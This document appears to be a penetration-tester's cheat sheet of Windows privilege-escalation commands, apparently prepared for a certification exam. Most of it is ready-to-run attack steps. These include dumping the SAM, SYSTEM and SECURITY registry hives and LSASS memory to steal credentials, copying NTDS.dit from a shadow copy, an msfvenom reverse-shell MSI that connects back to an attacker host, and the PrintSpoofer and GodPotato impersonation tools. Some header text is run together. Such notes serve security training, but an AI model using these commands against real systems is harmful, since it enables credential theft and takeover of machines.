Organized notes for Windows privilege escalation techniques. Last Updated: 2026-03-27
dsregcmdSeatbelt.exe -group=systemsysteminfo, whoami /allInvoke-AllChecks from PowerUpC:\ root, C:\Windows.oldC:\Windows\System32\Drivers\etc\hosts# System details
systeminfo
whoami /all
whoami /groups
whoami /priv
# User enumeration
net user
quser
net localgroup
net localgroup administrators
# Environment variables
Get-ChildItem Env:
$env:PATH
# Command history
Get-History
(Get-PSReadlineOption).HistorySavePath
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# Domain check
dsregcmd /status
Set-ExecutionPolicy Bypass -Scope Process
Import-Module C:\Tools\PowerView.ps1
Get-NetDomain
# WinPEAS
.\winPEASx64.exe
# Seatbelt β system checks
.\Seatbelt.exe -group=system
# Seatbelt β all checks
.\Seatbelt.exe -group=all
# PowerUp β all checks
. .\PowerUp.ps1
Invoke-AllChecks
# List services with paths
Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -eq "Running"}
# Check for unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"
# List all scheduled tasks
schtasks /query /fo LIST /v
# Filter non-Microsoft tasks
Get-ScheduledTask | Where-Object {$_.TaskPath -notlike '\Microsoft\*'} | Select-Object TaskName, TaskPath, State
# Check for stored credentials
cmdkey /list
# RunAs with stored creds
runas /savecred /user:<domain>\<user> cmd.exe
# Search for passwords in files
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml
# Search recursively in user directories
Get-ChildItem -Path C:\Users\ -Include * -File -Recurse -ErrorAction SilentlyContinue
# Save SAM, SYSTEM, SECURITY hives
reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save
# Transfer to attacker and dump
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
# Find LSASS PID
Get-Process lsass
# Dump LSASS via rundll32
rundll32 C:\windows\system32\comsvcs.dll, MiniDump <PID> C:\lsass.dmp full
# Parse LSASS dump on Linux
pypykatz lsa minidump /path/to/lsass.dmp
# Volume Shadow Copy
cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit
# Check if enabled
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
If both return 1:
# Generate malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f msi -o shell.msi
# Install on target
msiexec /quiet /qn /i shell.msi
# Check if we have SeImpersonatePrivilege
whoami /priv
If SeImpersonatePrivilege is enabled, use:
# PrintSpoofer
.\PrintSpoofer64.exe -i -c powershell
# GodPotato
.\GodPotato.exe -cmd "cmd /c whoami"
# Check root of C:\
dir C:\ /a
# Check for Windows.old
dir C:\Windows.old /a
# Check hosts file
type C:\Windows\System32\Drivers\etc\hosts
# Search for flags
Get-ChildItem -Path C:\ -Recurse -File -Filter "proof.txt" -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Recurse -File -Filter "local.txt" -ErrorAction SilentlyContinue
# List installed applications
Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*" | Select-Object DisplayName, InstallLocation
Get-ItemProperty "HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | Select-Object DisplayName, InstallLocation
# Running processes (sorted by CPU)
Get-Process | Sort-Object CPU -Descending
β οΈ CPTS Exam Tip: Always check for KeePass installations β they may contain password databases.
cmdkey /list)C:\Windows.old for old SAM filesC:\Windows\Temp